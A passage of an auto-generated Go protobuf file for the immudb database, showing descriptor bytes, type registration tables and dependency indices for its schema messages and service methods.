0x69, 0x78, 0x65,\n\t0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61,\n\t0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74,\n\t0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a,\n\t0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68,\n\t0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72,\n\t0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69,\n\t0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,\n}\n\nvar (\n\tfile_schema_proto_rawDescOnce sync.Once\n\tfile_schema_proto_rawDescData = file_schema_proto_rawDesc\n)\n\nfunc file_schema_proto_rawDescGZIP() []byte {\n\tfile_schema_proto_rawDescOnce.Do(func() {\n\t\tfile_schema_proto_rawDescData = protoimpl.X.CompressGZIP(file_schema_proto_rawDescData)\n\t})\n\treturn file_schema_proto_rawDescData\n}\n\nvar file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3)\nvar file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 136)\nvar file_schema_proto_goTypes = []interface{}{\n\t(EntryTypeAction)(0),                             // 0: immudb.schema.EntryTypeAction\n\t(PermissionAction)(0),                            // 1: immudb.schema.PermissionAction\n\t(TxMode)(0),                                      // 2: immudb.schema.TxMode\n\t(*Key)(nil),                                      // 3: immudb.schema.Key\n\t(*Permission)(nil),                               // 4: immudb.schema.Permission\n\t(*User)(nil),                                     // 5: immudb.schema.User\n\t(*SQLPrivilege)(nil),                             // 6: immudb.schema.SQLPrivilege\n\t(*UserList)(nil),                                 // 7: immudb.schema.UserList\n\t(*CreateUserRequest)(nil),                        // 8: immudb.schema.CreateUserRequest\n\t(*UserRequest)(nil),                              // 9: immudb.schema.UserRequest\n\t(*ChangePasswordRequest)(nil),                    // 10: immudb.schema.ChangePasswordRequest\n\t(*LoginRequest)(nil),                             // 11: immudb.schema.LoginRequest\n\t(*LoginResponse)(nil),                            // 12: immudb.schema.LoginResponse\n\t(*AuthConfig)(nil),                               // 13: immudb.schema.AuthConfig\n\t(*MTLSConfig)(nil),                               // 14: immudb.schema.MTLSConfig\n\t(*OpenSessionRequest)(nil),                       // 15: immudb.schema.OpenSessionRequest\n\t(*OpenSessionResponse)(nil),                      // 16: immudb.schema.OpenSessionResponse\n\t(*Precondition)(nil),                             // 17: immudb.schema.Precondition\n\t(*KeyValue)(nil),                                 // 18: immudb.schema.KeyValue\n\t(*Entry)(nil),                                    // 19: immudb.schema.Entry\n\t(*Reference)(nil),                                // 20: immudb.schema.Reference\n\t(*Op)(nil),                                       // 21: immudb.schema.Op\n\t(*ExecAllRequest)(nil),                           // 22: immudb.schema.ExecAllRequest\n\t(*Entries)(nil),                                  // 23: immudb.schema.Entries\n\t(*ZEntry)(nil),                                   // 24: immudb.schema.ZEntry\n\t(*ZEntries)(nil),                                 // 25: immudb.schema.ZEntries\n\t(*ScanRequest)(nil),                              // 26: immudb.schema.ScanRequest\n\t(*KeyPrefix)(nil),                                // 27: immudb.schema.KeyPrefix\n\t(*EntryCount)(nil),                               // 28: immudb.schema.EntryCount\n\t(*Signature)(nil),                                // 29: immudb.schema.Signature\n\t(*TxHeader)(nil),                                 // 30: immudb.schema.TxHeader\n\t(*TxMetadata)(nil),                               // 31: immudb.schema.TxMetadata\n\t(*LinearProof)(nil),                              // 32: immudb.schema.LinearProof\n\t(*LinearAdvanceProof)(nil),                       // 33: immudb.schema.LinearAdvanceProof\n\t(*DualProof)(nil),                                // 34: immudb.schema.DualProof\n\t(*DualProofV2)(nil),                              // 35: immudb.schema.DualProofV2\n\t(*Tx)(nil),                                       // 36: immudb.schema.Tx\n\t(*TxEntry)(nil),                                  // 37: immudb.schema.TxEntry\n\t(*KVMetadata)(nil),                               // 38: immudb.schema.KVMetadata\n\t(*Expiration)(nil),                               // 39: immudb.schema.Expiration\n\t(*VerifiableTx)(nil),                             // 40: immudb.schema.VerifiableTx\n\t(*VerifiableTxV2)(nil),                           // 41: immudb.schema.VerifiableTxV2\n\t(*VerifiableEntry)(nil),                          // 42: immudb.schema.VerifiableEntry\n\t(*InclusionProof)(nil),                           // 43: immudb.schema.InclusionProof\n\t(*SetRequest)(nil),                               // 44: immudb.schema.SetRequest\n\t(*KeyRequest)(nil),                               // 45: immudb.schema.KeyRequest\n\t(*KeyListRequest)(nil),                           // 46: immudb.schema.KeyListRequest\n\t(*DeleteKeysRequest)(nil),                        // 47: immudb.schema.DeleteKeysRequest\n\t(*VerifiableSetRequest)(nil),                     // 48: immudb.schema.VerifiableSetRequest\n\t(*VerifiableGetRequest)(nil),                     // 49: immudb.schema.VerifiableGetRequest\n\t(*ServerInfoRequest)(nil),                        // 50: immudb.schema.ServerInfoRequest\n\t(*ServerInfoResponse)(nil),                       // 51: immudb.schema.ServerInfoResponse\n\t(*HealthResponse)(nil),                           // 52: immudb.schema.HealthResponse\n\t(*DatabaseHealthResponse)(nil),                   // 53: immudb.schema.DatabaseHealthResponse\n\t(*ImmutableState)(nil),                           // 54: immudb.schema.ImmutableState\n\t(*ReferenceRequest)(nil),                         // 55: immudb.schema.ReferenceRequest\n\t(*VerifiableReferenceRequest)(nil),               // 56: immudb.schema.VerifiableReferenceRequest\n\t(*ZAddRequest)(nil),                              // 57: immudb.schema.ZAddRequest\n\t(*Score)(nil),                                    // 58: immudb.schema.Score\n\t(*ZScanRequest)(nil),                             // 59: immudb.schema.ZScanRequest\n\t(*HistoryRequest)(nil),                           // 60: immudb.schema.HistoryRequest\n\t(*VerifiableZAddRequest)(nil),                    // 61: immudb.schema.VerifiableZAddRequest\n\t(*TxRequest)(nil),                                // 62: immudb.schema.TxRequest\n\t(*EntriesSpec)(nil),                              // 63: immudb.schema.EntriesSpec\n\t(*EntryTypeSpec)(nil),                            // 64: immudb.schema.EntryTypeSpec\n\t(*VerifiableTxRequest)(nil),                      // 65: immudb.schema.VerifiableTxRequest\n\t(*TxScanRequest)(nil),                            // 66: immudb.schema.TxScanRequest\n\t(*TxList)(nil),                                   // 67: immudb.schema.TxList\n\t(*ExportTxRequest)(nil),                          // 68: immudb.schema.ExportTxRequest\n\t(*ReplicaState)(nil),                             // 69: immudb.schema.ReplicaState\n\t(*Database)(nil),                                 // 70: immudb.schema.Database\n\t(*DatabaseSettings)(nil),                         // 71: immudb.schema.DatabaseSettings\n\t(*CreateDatabaseRequest)(nil),                    // 72: immudb.schema.CreateDatabaseRequest\n\t(*CreateDatabaseResponse)(nil),                   // 73: immudb.schema.CreateDatabaseResponse\n\t(*UpdateDatabaseRequest)(nil),                    // 74: immudb.schema.UpdateDatabaseRequest\n\t(*UpdateDatabaseResponse)(nil),                   // 75: immudb.schema.UpdateDatabaseResponse\n\t(*DatabaseSettingsRequest)(nil),                  // 76: immudb.schema.DatabaseSettingsRequest\n\t(*DatabaseSettingsResponse)(nil),                 // 77: immudb.schema.DatabaseSettingsResponse\n\t(*NullableUint32)(nil),                           // 78: immudb.schema.NullableUint32\n\t(*NullableUint64)(nil),                           // 79: immudb.schema.NullableUint64\n\t(*NullableFloat)(nil),                            // 80: immudb.schema.NullableFloat\n\t(*NullableBool)(nil),                             // 81: immudb.schema.NullableBool\n\t(*NullableString)(nil),                           // 82: immudb.schema.NullableString\n\t(*NullableMilliseconds)(nil),                     // 83: immudb.schema.NullableMilliseconds\n\t(*DatabaseNullableSettings)(nil),                 // 84: immudb.schema.DatabaseNullableSettings\n\t(*ReplicationNullableSettings)(nil),              // 85: immudb.schema.ReplicationNullableSettings\n\t(*TruncationNullableSettings)(nil),               // 86: immudb.schema.TruncationNullableSettings\n\t(*IndexNullableSettings)(nil),                    // 87: immudb.schema.IndexNullableSettings\n\t(*AHTNullableSettings)(nil),                      // 88: immudb.schema.AHTNullableSettings\n\t(*LoadDatabaseRequest)(nil),                      // 89: immudb.schema.LoadDatabaseRequest\n\t(*LoadDatabaseResponse)(nil),                     // 90: immudb.schema.LoadDatabaseResponse\n\t(*UnloadDatabaseRequest)(nil),                    // 91: immudb.schema.UnloadDatabaseRequest\n\t(*UnloadDatabaseResponse)(nil),                   // 92: immudb.schema.UnloadDatabaseResponse\n\t(*DeleteDatabaseRequest)(nil),                    // 93: immudb.schema.DeleteDatabaseRequest\n\t(*DeleteDatabaseResponse)(nil),                   // 94: immudb.schema.DeleteDatabaseResponse\n\t(*FlushIndexRequest)(nil),                        // 95: immudb.schema.FlushIndexRequest\n\t(*FlushIndexResponse)(nil),                       // 96: immudb.schema.FlushIndexResponse\n\t(*Table)(nil),                                    // 97: immudb.schema.Table\n\t(*SQLGetRequest)(nil),                            // 98: immudb.schema.SQLGetRequest\n\t(*VerifiableSQLGetRequest)(nil),                  // 99: immudb.schema.VerifiableSQLGetRequest\n\t(*SQLEntry)(nil),                                 // 100: immudb.schema.SQLEntry\n\t(*VerifiableSQLEntry)(nil),                       // 101: immudb.schema.VerifiableSQLEntry\n\t(*UseDatabaseReply)(nil),                         // 102: immudb.schema.UseDatabaseReply\n\t(*ChangePermissionRequest)(nil),                  // 103: immudb.schema.ChangePermissionRequest\n\t(*ChangeSQLPrivilegesRequest)(nil),               // 104: immudb.schema.ChangeSQLPrivilegesRequest\n\t(*ChangeSQLPrivilegesResponse)(nil),              // 105: immudb.schema.ChangeSQLPrivilegesResponse\n\t(*SetActiveUserRequest)(nil),                     // 106: immudb.schema.SetActiveUserRequest\n\t(*DatabaseListResponse)(nil),                     // 107: immudb.schema.DatabaseListResponse\n\t(*DatabaseListRequestV2)(nil),                    // 108: immudb.schema.DatabaseListRequestV2\n\t(*DatabaseListResponseV2)(nil),                   // 109: immudb.schema.DatabaseListResponseV2\n\t(*DatabaseInfo)(nil),                             // 110: immudb.schema.DatabaseInfo\n\t(*Chunk)(nil),                                    // 111: immudb.schema.Chunk\n\t(*UseSnapshotRequest)(nil),                       // 112: immudb.schema.UseSnapshotRequest\n\t(*SQLExecRequest)(nil),                           // 113: immudb.schema.SQLExecRequest\n\t(*SQLQueryRequest)(nil),                          // 114: immudb.schema.SQLQueryRequest\n\t(*NamedParam)(nil),                               // 115: immudb.schema.NamedParam\n\t(*SQLExecResult)(nil),                            // 116: immudb.schema.SQLExecResult\n\t(*CommittedSQLTx)(nil),                           // 117: immudb.schema.CommittedSQLTx\n\t(*SQLQueryResult)(nil),                           // 118: immudb.schema.SQLQueryResult\n\t(*Column)(nil),                                   // 119: immudb.schema.Column\n\t(*Row)(nil),                                      // 120: immudb.schema.Row\n\t(*SQLValue)(nil),                                 // 121: immudb.schema.SQLValue\n\t(*NewTxRequest)(nil),                             // 122: immudb.schema.NewTxRequest\n\t(*NewTxResponse)(nil),                            // 123: immudb.schema.NewTxResponse\n\t(*ErrorInfo)(nil),                                // 124: immudb.schema.ErrorInfo\n\t(*DebugInfo)(nil),                                // 125: immudb.schema.DebugInfo\n\t(*RetryInfo)(nil),                                // 126: immudb.schema.RetryInfo\n\t(*TruncateDatabaseRequest)(nil),                  // 127: immudb.schema.TruncateDatabaseRequest\n\t(*TruncateDatabaseResponse)(nil),                 // 128: immudb.schema.TruncateDatabaseResponse\n\t(*Precondition_KeyMustExistPrecondition)(nil),    // 129: immudb.schema.Precondition.KeyMustExistPrecondition\n\t(*Precondition_KeyMustNotExistPrecondition)(nil), // 130: immudb.schema.Precondition.KeyMustNotExistPrecondition\n\t(*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 131: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition\n\tnil,                     // 132: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry\n\tnil,                     // 133: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry\n\tnil,                     // 134: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry\n\tnil,                     // 135: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry\n\tnil,                     // 136: immudb.schema.Chunk.MetadataEntry\n\tnil,                     // 137: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry\n\tnil,                     // 138: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry\n\t(structpb.NullValue)(0), // 139: google.protobuf.NullValue\n\t(*emptypb.Empty)(nil),   // 140: google.protobuf.Empty\n}\nvar file_schema_proto_depIdxs = []int32{\n\t4,   // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission\n\t6,   // 1: immudb.schema.User.sqlPrivileges:type_name -> immudb.schema.SQLPrivilege\n\t5,   // 2: immudb.schema.UserList.users:type_name -> immudb.schema.User\n\t129, // 3: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition\n\t130, // 4: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition\n\t131, // 5: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition\n\t38,  // 6: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata\n\t20,  // 7: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference\n\t38,  // 8: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata\n\t38,  // 9: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata\n\t18,  // 10: immudb.schema.Op.kv:type_name -> immudb.schema.KeyValue\n\t57,  // 11: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest\n\t55,  // 12: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest\n\t21,  // 13: immudb.schema.ExecAllRequest.Operations:type_name -> immudb.schema.Op\n\t17,  // 14: immudb.schema.ExecAllRequest.preconditions:type_name -> immudb.schema.Precondition\n\t19,  // 15: immudb.schema.Entries.entries:type_name -> immudb.schema.Entry\n\t19,  // 16: immudb.schema.ZEntry.entry:type_name -> immudb.schema.Entry\n\t24,  // 17: immudb.schema.ZEntries.entries:type_name -> immudb.schema.ZEntry\n\t31,  // 18: immudb.schema.TxHeader.metadata:type_name -> immudb.schema.TxMetadata\n\t43,  // 19: immudb.schema.LinearAdvanceProof.inclusionProofs:type_name -> immudb.schema.InclusionProof\n\t30,  // 20: immudb.schema.DualProof.sourceTxHeader:type_name -> immudb.schema.TxHeader\n\t30,  // 21: immudb.schema.DualProof.targetTxHeader:type_name -> immudb.schema.TxHeader\n\t32,  // 22: immudb.schema.DualProof.linearProof:type_name -> immudb.schema.LinearProof\n\t33,  // 23: immudb.schema.DualProof.LinearAdvanceProof:type_name -> immudb.schema.LinearAdvanceProof\n\t30,  // 24: immudb.schema.DualProofV2.sourceTxHeader:type_name -> immudb.schema.TxHeader\n\t30,  // 25: immudb.schema.DualProofV2.targetTxHeader:type_name -> immudb.schema.TxHeader\n\t30,  // 26: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader\n\t37,  // 27: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry\n\t19,  // 28: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry\n\t24,  // 29: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry\n\t38,  // 30: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata\n\t39,  // 31: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration\n\t36,  // 32: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx\n\t34,  // 33: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof\n\t29,  // 34: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature\n\t36,  // 35: immudb.schema.VerifiableTxV2.tx:type_name -> immudb.schema.Tx\n\t35,  // 36: immudb.schema.VerifiableTxV2.dualProof:type_name -> immudb.schema.DualProofV2\n\t29,  // 37: immudb.schema.VerifiableTxV2.signature:type_name -> immudb.schema.Signature\n\t19,  // 38: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry\n\t40,  // 39: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx\n\t43,  // 40: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof\n\t18,  // 41: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue\n\t17,  // 42: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition\n\t44,  // 43: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest\n\t45,  // 44: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest\n\t29,  // 45: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature\n\t17,  // 46: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition\n\t55,  // 47: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest\n\t58,  // 48: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score\n\t58,  // 49: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score\n\t57,  // 50: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest\n\t63,  // 51: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec\n\t64,  // 52: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec\n\t64,  // 53: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec\n\t64,  // 54: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec\n\t0,   // 55: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction\n\t63,  // 56: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec\n\t63,  // 57: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec\n\t36,  // 58: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx\n\t69,  // 59: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState\n\t84,  // 60: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings\n\t84,  // 61: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings\n\t84,  // 62: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings\n\t84,  // 63: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings\n\t84,  // 64: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings\n\t85,  // 65: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings\n\t78,  // 66: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32\n\t78,  // 67: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32\n\t78,  // 68: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32\n\t78,  // 69: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32\n\t81,  // 70: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool\n\t78,  // 71: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32\n\t78,  // 72: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32\n\t78,  // 73: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32\n\t78,  // 74: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32\n\t78,  // 75: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32\n\t78,  // 76: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32\n\t87,  // 77: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings\n\t78,  // 78: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32\n\t81,  // 79: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool\n\t78,  // 80: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32\n\t83,  // 81: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds\n\t78,  // 82: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32\n\t88,  // 83: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings\n\t78,  // 84: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32\n\t78,  // 85: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32\n\t78,  // 86: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32\n\t86,  // 87: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings\n\t81,  // 88: immudb.schema.DatabaseNullableSettings.embeddedValues:type_name -> immudb.schema.NullableBool\n\t81,  // 89: immudb.schema.DatabaseNullableSettings.preallocFiles:type_name -> immudb.schema.NullableBool\n\t81,  // 90: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool\n\t82,  // 91: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString\n\t82,  // 92: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString\n\t78,  // 93: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32\n\t82,  // 94: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString\n\t82,  // 95: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString\n\t81,  // 96: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool\n\t78,  // 97: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32\n\t78,  // 98: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32\n\t78,  // 99: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32\n\t81,  // 100: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool\n\t81,  // 101: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool\n\t81,  // 102: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool\n\t83,  // 103: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds\n\t83,  // 104: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds\n\t78,  // 105: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32\n\t78,  // 106: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32\n\t78,  // 107: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32\n\t78,  // 108: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32\n\t78,  // 109: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32\n\t79,  // 110: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64\n\t78,  // 111: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32\n\t78,  // 112: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32\n\t78,  // 113: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32\n\t78,  // 114: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32\n\t78,  // 115: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32\n\t78,  // 116: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32\n\t80,  // 117: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat\n\t78,  // 118: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32\n\t83,  // 119: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds\n\t78,  // 120: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32\n\t78,  // 121: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32\n\t121, // 122: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue\n\t98,  // 123: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest\n\t38,  // 124: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata\n\t100, // 125: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry\n\t40,  // 126: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx\n\t43,  // 127: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof\n\t132, // 128: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry\n\t133, // 129: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry\n\t134, // 130: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry\n\t135, // 131: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry\n\t1,   // 132: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction\n\t1,   // 133: immudb.schema.ChangeSQLPrivilegesRequest.action:type_name -> immudb.schema.PermissionAction\n\t70,  // 134: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database\n\t110, // 135: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseInfo\n\t84,  // 136: immudb.schema.DatabaseInfo.settings:type_name -> immudb.schema.DatabaseNullableSettings\n\t136, // 137: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry\n\t115, // 138: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam\n\t115, // 139: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam\n\t121, // 140: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue\n\t117, // 141: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx\n\t30,  // 142: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader\n\t137, // 143: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry\n\t138, // 144: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry\n\t119, // 145: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column\n\t120, // 146: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row\n\t121, // 147: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue\n\t139, // 148: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue\n\t2,   // 149: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode\n\t79,  // 150: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64\n\t83,  // 151: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds\n\t121, // 152: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue\n\t121, // 153: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue\n\t140, // 154: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty\n\t8,   // 155: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest\n\t10,  // 156: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest\n\t103, // 157: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest\n\t104, // 158: immudb.schema.ImmuService.ChangeSQLPrivileges:input_type -> immudb.schema.ChangeSQLPrivilegesRequest\n\t106, // 159: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest\n\t13,  // 160: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> 